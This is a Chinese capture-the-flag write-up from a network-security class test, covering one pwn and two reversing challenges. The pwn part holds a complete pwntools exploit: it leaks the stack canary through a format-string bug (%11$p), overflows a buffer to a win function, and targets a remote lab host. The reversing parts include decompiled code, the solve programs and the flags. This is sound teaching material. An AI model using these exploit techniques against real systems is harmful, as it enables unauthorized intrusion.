3.3高级网络攻防课堂测试wp

红月亮~红月亮~热情又大方~

ezpwn

开了canary,破解canary并且栈溢出到get flag函数就能拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
puts("input your name");
fflush(stdout);
read(0, buf, 0x20u);
puts("hello: ");
fflush(stdout);
printf(buf);
puts("leave some message");
fflush(stdout);
read(0, buf, 0x48u);
return 0;
}

image-20260303170342502

printf(buf)直接打印输入,可以通过输入%p确定canary的位置

print的一般用法是

1
>printf("格式化字符串", 参数1, 参数2);

但printf(buf)直接buf 作为格式化字符串,并且没给参数,那么printf就会通过这个顺序获取参数(x86_64 Linux的约定):

  1. 首先从寄存器中取出前 6 个参数。
  2. 如果格式说明符超过 6 个,则从栈上读取后续参数。
1
2
3
4
input your name
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
hello: 
(nil).0x232c42a0.0xc00.0x7fa6f1d74a70.0x232c42a0.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.(nil).0x58fab1ae6f61300leave some message

观察输出,canary应该是0x58fab1ae6f61300,第11个。所以payload组成:

1
payload = padding(buf) + canary + padding(rbp) + get_flag_addr

exp是让Gemini生成的。后来加了个ret(ROPgadget --binary ./ezpwn --only "ret"获取到0x040101a)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

#p = process('./ezpwn')
p = remote('124.16.75.116', 52003)
target_addr = 0x4011D6

p.sendlineafter("input your name", "%11$p")
p.recvuntil("hello: \n")
canary = int(p.recvline().strip(), 16)
success(f"Extracted Canary: {hex(canary)}")

payload = b'A' * 40 # 填充 buf
payload += p64(canary) # 填入正确的 Canary 避开检测
payload += b'B' * 8 # 覆盖 saved RBP (8字节)
payload += p64(0x040101a)
payload += p64(target_addr) # 覆盖返回地址

p.sendlineafter("leave some message", payload)

p.interactive()

flag{ret2win_never_dies_but_noexec_does}

get_flag

ida打开,有get_flag函数,显示了flag的生成逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
unsigned __int64 get_flag()
{
int v0; // eax
int i; // [rsp+8h] [rbp-78h]
int k; // [rsp+8h] [rbp-78h]
int j; // [rsp+Ch] [rbp-74h]
int m; // [rsp+Ch] [rbp-74h]
int v6; // [rsp+10h] [rbp-70h]
int v7; // [rsp+14h] [rbp-6Ch]
char s[5]; // [rsp+1Bh] [rbp-65h] BYREF
_QWORD v9[2]; // [rsp+20h] [rbp-60h] BYREF
char v10; // [rsp+30h] [rbp-50h]
_BYTE v11[40]; // [rsp+40h] [rbp-40h]
unsigned __int64 v12; // [rsp+68h] [rbp-18h]

v12 = __readfsqword(0x28u);
strcpy(s, "flag");
v9[0] = 1684234849;
v9[1] = 0;
v10 = 0;
for ( i = 0; i < strlen(s); ++i )
{
v7 = s[i];
for ( j = 7; j >= 0; --j )
{
if ( ((v7 >> j) & 1) != 0 )
v11[8 * i + 7 - j] = 49;
else
v11[8 * i + 7 - j] = 48;
}
}
for ( k = 0; k <= 15; ++k )
{
v6 = 0;
for ( m = 0; m <= 1; ++m )
{
if ( k == m )
v0 = (char)v11[16 * m + k] - 48;
else
v0 = ((char)v11[16 * m + k] - 48) * (m + k);
v6 += v0;
}
*((_BYTE *)v9 + k) = v6 % 26 + 97;
}
printf("The flag is: flag{%s}\n", (const char *)v9);
return __readfsqword(0x28u) ^ v12;
}

但是主函数不会调用它,摘出来自己生成。让ChatGPT改成可以直接编译运行的c语言代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <string.h>
#include <stdint.h>

int main()
{
int i, j, k, m;
int v0;
int v6;
int v7;

char s[5];
char v11[40] = {0};

/* 用于存放最终字符串(16字节) */
char v9[17] = {0};

strcpy(s, "flag");

/* 第一步:把 "flag" 转换成二进制字符 '0' '1' */
for (i = 0; i < strlen(s); ++i)
{
v7 = s[i];
for (j = 7; j >= 0; --j)
{
if (((v7 >> j) & 1) != 0)
v11[8 * i + 7 - j] = '1';
else
v11[8 * i + 7 - j] = '0';
}
}

/* 第二步:构造 16 字节输出 */
for (k = 0; k <= 15; ++k)
{
v6 = 0;
for (m = 0; m <= 1; ++m)
{
if (k == m)
v0 = v11[16 * m + k] - '0';
else
v0 = (v11[16 * m + k] - '0') * (m + k);

v6 += v0;
}

v9[k] = v6 % 26 + 'a';
}

printf("The flag is: flag{%s}\n", v9);

return 0;
}

得到输出flag{acfaafgiatvambpq}

code-talker

直接运行会报错

1
dlopen(): error loading libfuse.so.2 AppImages require FUSE to run. 

运行 ./code-talker --appimage-extract,解出内部 squashfs文件系统(这一步是问ChatGPT得出的)

怎么得到这一步的?

在反编译的main函数中可以看到这些

image-20260303212420904

以及经典报错信息:AppImages require FUSE to run.

说明这个程序是一个 AppImage runtime stub,在 AppImage 官方 runtime 代码里就提供了这些命令选项。

一个标准 AppImage 文件的结构:

1
[ ELF runtime stub ][ SquashFS 文件系统 ]

所以可以:

  1. 直接运行,它会用 FUSE 挂载文件系统后执行
  2. 把后半部分SquashFS 文件系统摘出来解压

此外,报错的dlopen()分支是在if ( !strcmp(Arg_1, “appimage-extract”) )之后的,使用–appimage-extract不会触发dlopen()分支

(所以还是得多做多学多记啊,完全没想到是一种类型)

image-20260303165416400

在/squashfs-root/usr/bin中可以找到另一个可执行文件code_talker。搜索字符串flag找到这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall flaghere(__int64 a1, __int64 a2, int a3, int a4, int a5, int a6)
{
int v6; // edx
int v7; // ecx
int v8; // r8d
int v9; // r9d
int v10; // ebx
__int64 v11; // rsi
__int64 result; // rax
int i; // [rsp+Ch] [rbp-44h]
_DWORD v14[10]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v15; // [rsp+38h] [rbp-18h]

v15 = __readfsqword(0x28u);
sub_410C70("%30s", (unsigned int)v14, a3, a4, a5, a6);
for ( i = 0; i <= 29; ++i )
{
v10 = (*((char *)v14 + i) - 94) % 26 + 97;
v11 = sub_401D55(); // exbdrkxlgd
v7 = i % 10;
v6 = i % 10;
if ( v10 != *(char *)(v11 + i % 10) )
{
sub_420A00("Dangerous");
result = 1;
goto LABEL_7;
}
}
sub_410AE0("your flag {%s}\n", (unsigned int)v14, v6, v7, v8, v9);
result = 0;
LABEL_7:
if ( __readfsqword(0x28u) != v15 )
sub_45C820();
return result;
}

(理解算法这一步借助了ChatGPT)输入v14需要满足长度30,以及(*((char *)v14 + i) - 94) % 26 + 97 = *(char *)(v11 + i % 10)。v11是exbdrkxlgd。反解就可以得到flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main() {
char target[] = "exbdrkxlgd";
char v14[30] = "abcdefghijklmnopqrstuvwxyz1234";
char v10;
for (int i = 0; i <= 29; ++i)
{
v14[i] = (target[i % 10] - 97) % 26 + 94;
v10 = (v14[i] - 94) % 26 + 97;
if (v10 != target[i % 10])
{
printf("Error at index %d: expected %c, got %c\n", i, *(char *)(target + i % 10), v10);
}
}
printf("%s\n", v14);
return 0;
}

验证:

image-20260303162948335

提交时只要后面那一串,不带flag

因为涉及到%26所以有多解